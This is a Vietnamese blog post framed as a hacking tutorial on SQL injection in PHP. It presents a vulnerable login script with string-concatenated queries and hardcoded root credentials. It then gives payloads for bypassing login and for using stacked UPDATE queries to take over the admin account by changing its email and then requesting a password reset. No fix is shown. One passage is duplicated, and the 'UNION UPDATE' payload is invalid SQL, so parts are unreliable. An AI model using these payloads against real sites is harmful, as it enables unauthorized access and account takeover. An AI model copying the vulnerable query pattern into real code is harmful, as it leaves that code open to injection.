Trao đổi với tôi

http://www.buidao.com

1/19/10

[Hacking] PHP Underground Security – SQL Injection

SQL Injection không còn xa lạ với chúng ta trong những năm trở lại đây, thậm chí nó đã trở nên phổ biến và được rất nhiều người sử dụng. Thế nhưng SQL Injection là gì ? Tìm lỗi, lợi dụng, vá lỗi như thế nào thì lại là một vấn đề khác, vấn đề mà tôi sẽ đề cập trong chủ đề này.

I. SQL Injection là gì ?
Injection nghĩa là tiêm, nhiễm và với SQL Injection ta có thể chèn (tiêm) thêm truy vấn SQL vào câu truy vấn dựa vào lỗi của ứng dụng web.

II. Các ứng dụng của SQL Injection:
Trước khi đi tìm hiểu sâu vào việc lợi dụng (exploit) thì các bạn cần nhớ vài kí tự quan trọng mà ta sẽ phải dùng khi thực hành.
- dấu nháy đơn (): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu (;): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.

Và sau đây là các ứng dụng lợi dụng lỗi SQL Injection:

1/ Login Bypassing – Giành quyền Admin
Xem code PHP của file login.php

Code:
$logged = 0;
$nick = $_POST['nick'];
$pass = $_POST['pass'];

$link = mysql_connect(‘localhost’, ‘root’, ‘root’) or die(‘Error: ‘. mysql_error());
mysql_select_db(“sql_inj”, $link);

$query = mysql_query(“SELECT * FROM sql_inj WHERE nick =’”.$nick.”‘ AND pass =’” .$pass. “‘”, $link);

if (mysql_num_rows($query) == 0) {
echo “”;
exit;
}

$logged = 1;

[...]

//EoF

?>

Ta thấy rằng nếu truy vấn không trả về bảng ghi nào tồn tại trong CSDL thì lập tức người dùng sẽ được đưa trở về trang index.html, ngược lại sẽ đăng nhập thành công.

Lưu ý: Ở đây tôi dùng “bản ghi” (record) thay cho “kết quả” cho đúng với bản chất.

Code trên tuy đơn giản nhưng ta thấy rằng chỉ cần làm cho truy vấn có bản ghi trả về thì ta sẽ đăng nhập thành công mà không cần biết Nick hay Pass.

Phần này đòi hỏi người đọc phải biết một tí về câu lệnh Select và điều kiện của mệnh đề Where, kết quả của phép toán OR.

Nếu ta đăng nhập với nick và pass không khớp với một bản ghi trong CSDL thì tất nhiên không có bản ghi nào thoả mãn để được trả về.

Nhưng giả sử ta login với thông tin sau:

Quote:
$nick = xyz’ OR ‘1′ = ‘1
$pass = xyz’ OR ‘1′ = ‘1

thì câu truy vấn sẽ trở thành

Quote:
“SELECT * FROM sql_inj WHERE nick =’xyz’ OR ‘1′ = ‘1′ AND pass =’xyz’ OR ‘1′ = ‘1′”
xyz là một chuỗi gì đó bất kì, quan trọng là phần OR 1 = 1
Câu truy vấn kia sẽ: lựa tất cả các bản ghi nào thoả điều kiện (WHERE) nick = xyz hoặc 1=1 và pass=xyz hoặc 1=1
Mà 1 = 1 là hằng đúng nên dù (nick = xyz) là FALSE thì kết của của (nick = xyz OR 1=1) sẽ là TRUE, tương tự với (pass=xyz hoặc 1=1) cũng sẽ là TRUE, mà (true AND true) = true. (ta có thể xem 0 là FALSE và 1 là TRUE).

Vậy với điều kiện là một hằng đúng thì mọi bản ghi đều thoả rồi, vậy nên trong CSDL có bao nhiêu bản ghi (tương ứng chừng ấy User) sẽ được trả về, và khi đó …

Ngoài ra ta còn có thể làm ngắn gọn hơn vì chỉ cần nhập

Quote:
$nick = xyz’ OR ‘1′ = ‘1 #
hoặc
$nick = xyz’ OR ‘1′ = ‘1 –
là được.

2/ Modify Database – Thay đổi dữ liệu
Cũng từ VD trên, ta có thể thay đổi password, email của admin bằng cách:

Quote:
$nick = xyz’; UPDATE users SET email = ‘email_của_mình’ WHERE nick=’admin’;#
Sau đó ta chỉ việc forgot pass admin và vào check mail mình là xong. Tương tự cho cách đổi pass admin:

Quote:
$nick = xyz’ UNION UPDATE users SET password = ‘pass mới’ WHERE nick=’admin’;#

Quote:
$nick = xyz’; UPDATE users SET email = ‘email_của_mình’ WHERE nick=’admin’;#
Sau đó ta chỉ việc forgot pass admin và vào check mail mình là xong. Tương tự cho cách đổi pass admin:

Quote:
$nick = xyz’ UNION UPDATE users SET password = ‘pass mới’ WHERE nick=’admin’;#

Bài viết của Jutoms